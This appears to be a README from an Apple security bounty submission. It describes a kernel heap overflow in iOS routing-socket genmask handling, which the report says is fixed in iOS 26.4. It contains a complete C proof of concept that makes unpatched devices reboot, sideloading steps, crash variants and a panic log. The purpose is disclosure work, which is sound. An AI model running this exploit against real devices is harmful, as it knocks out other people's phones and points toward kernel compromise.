README.md
Rendering markdown...
# Apple Security Bounty Submission
# PF_ROUTE RTA_GENMASK Kernel Buffer Overflow
## Vulnerability Summary
A heap buffer overflow in the XNU kernel's routing socket (`rtsock.c`) GENMASK handling allows any unprivileged app to trigger a kernel panic. The bug is in `rn_addmask()` processing of user-supplied genmask sockaddr structures via `PF_ROUTE` sockets. No entitlements, no sandbox escape, and no user interaction required.
**Affected Versions:** iOS 26.3.1 and earlier (confirmed), iPadOS (likely), watchOS/tvOS (likely — shared XNU code)
**Fixed In:** iOS 26.4 (March 24, 2026)
**Likely CVE:** CVE-2026-20698 (independently discovered)
**Related:** FreeBSD CVE-2026-3038 (same vulnerability class)
## Impact
- **Denial of Service:** Any sideloaded or App Store app can instantly reboot an iPhone with a single syscall. 100% reliable, no race conditions.
- **Potential Code Execution:** The underlying bug is an out-of-bounds write to a kernel heap buffer with attacker-controlled data and size. Apple's `-fbounds-safety` compiler mitigation converts this to a panic on iOS 26, but on kernels without this mitigation, the overflow would silently corrupt adjacent heap memory. With heap grooming, this class of bug has historically led to kernel code execution.
- **No Privileges Required:** `socket(PF_ROUTE, SOCK_RAW, 0)` is explicitly allowed for unprivileged processes. `RTM_GET` is the only routing message type that does not require root.
## Root Cause
The `route_output()` function in `bsd/net/rtsock.c` processes user-supplied routing messages. When the `RTA_GENMASK` flag is set, the genmask sockaddr is passed to `rn_addmask()` in `bsd/net/radix.c`. This function stores the mask in a radix tree node key buffer. The buffer size is family-dependent, and there is no validation that `sa_len` fits within the buffer before the copy. When `sa_len` exceeds the buffer size, an out-of-bounds write occurs.
**Vulnerable code path:**
1. User sends `RTM_GET` with `rtm_addrs = RTA_DST | RTA_GENMASK` via `PF_ROUTE` socket
2. `route_output()` calls `rt_xaddrs()` to parse sockaddrs — passes basic validation
3. `rn_addmask()` at line 458-468 of `rtsock.c` processes the genmask
4. The mask bytes are stored in a radix tree node without bounds checking on `sa_len`
5. `-fbounds-safety` instrumentation detects the overflow → kernel panic (BRK trap)
## Crash Variants
Five distinct crash variants were discovered across four address families, each with different overflow boundaries:
| Variant | Family | Min sa_len to crash | Overflow relative to buffer |
|---------|--------|--------------------|-----------------------------|
| 1 | AF_UNIX (1) | **4** (minimum possible) | Overflows immediately — no safe inputs |
| 2 | AF_LINK (18) | **4** (minimum possible) | Overflows immediately — no safe inputs |
| 3 | AF_INET6 (30) | **8** | ~4 bytes past buffer |
| 4 | AF_INET (2) | **33** | 1+ bytes past 32-byte buffer |
| 5 | AF_UNSPEC (0) | N/A | Returns ENOBUFS (different code path, safe) |
The AF_UNIX and AF_LINK variants are most severe — they overflow at the absolute minimum sockaddr size (4 bytes), meaning there is no valid input that doesn't trigger the bug for these families.
## Proof of Concept
Minimal PoC (file: `pf_route_crash.c`):
```c
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
int main(void) {
int fd = socket(PF_ROUTE, SOCK_RAW, 0);
if (fd < 0) return 1;
char buf[256];
memset(buf, 0, sizeof(buf));
// rt_msghdr: msglen(2) + version(1) + type(1) + index(2) + flags(4) + addrs(4) + ...
// type=4 (RTM_GET), version=5, addrs=0x09 (RTA_DST|RTA_GENMASK)
unsigned short *msglen = (unsigned short *)buf;
buf[2] = 5; // RTM_VERSION
buf[3] = 4; // RTM_GET
*(int *)(buf + 8) = 0x09; // RTA_DST | RTA_GENMASK
int off = 92; // sizeof(rt_msghdr)
// DST sockaddr: AF_INET, 8.8.8.8
buf[off] = 16; buf[off+1] = 2;
*(unsigned *)(buf+off+4) = 0x08080808;
off += 16;
// GENMASK sockaddr: AF_INET6, sa_len=48 (triggers overflow)
buf[off] = 48; buf[off+1] = 30; // AF_INET6
memset(buf+off+2, 0xFF, 46);
off += 48;
*msglen = off;
write(fd, buf, off);
// Kernel panics here — phone reboots
return 0;
}
```
## Steps to Reproduce
1. Compile the PoC for iOS: `xcrun -sdk iphoneos clang -arch arm64 -o poc pf_route_crash.c`
2. Sign with any valid entitlements: `ldid -Sentitlements.plist poc`
3. Deploy to a device running iOS 26.3.1 or earlier
4. Execute the binary
5. The device will instantly reboot (kernel panic)
For sideloaded app testing:
1. Wrap the PoC in a UIKit app with bundle ID
2. Build as IPA
3. Sideload via SideLoadly or similar
4. Launch the app — device reboots immediately
## Evidence
### Panic Log (iPhone 17 Pro Max, iOS 26.3.1)
File: `panic_iphone17_26.3.1.ips`
```
panic(cpu 0 caller 0xfffffe004e56c79c): Bounds safety trap at pc 0xfffffe004dfc4024,
lr 0x54ab7e004dfc3680 (saved state: 0xfffffeb6d04af560)
x0: 0xf6fffe1f59b1e380 x1: 0xf6fffe1f59b1e3e0
x2: 0x0000000000000010 x3: 0xf6fffe1f59b1e380
...
esr: 0x00000000f2005519 far: 0x00000002899e6958
Kernel version: Darwin Kernel Version 25.3.0; root:xnu-12377.82.2~13/RELEASE_ARM64_T8150
Panicked task pid 2033: iPhoneProbe
```
ESR `0xf2005519` = BRK instruction (bounds safety trap). The `-fbounds-safety` compiler instrumentation detected the out-of-bounds write and halted execution.
### Verification on iOS 26.4
All variants return ENOBUFS or succeed safely on iOS 26.4, confirming the fix.
## Disclosure Timeline
- **March 29, 2026:** Vulnerability independently discovered during security research
- **March 29, 2026:** Confirmed on iPhone 17 Pro Max (iOS 26.3.1) and vphone (iOS 26.1)
- **March 29, 2026:** Five crash variants identified across four address families
- **March 29, 2026:** Verified fixed in iOS 26.4 (released March 24, 2026)
- **March 29, 2026:** Report submitted to Apple Product Security
## Researcher
Somair Ansar (Somisomair)
Email: [email protected]
GitHub: github.com/Somisomair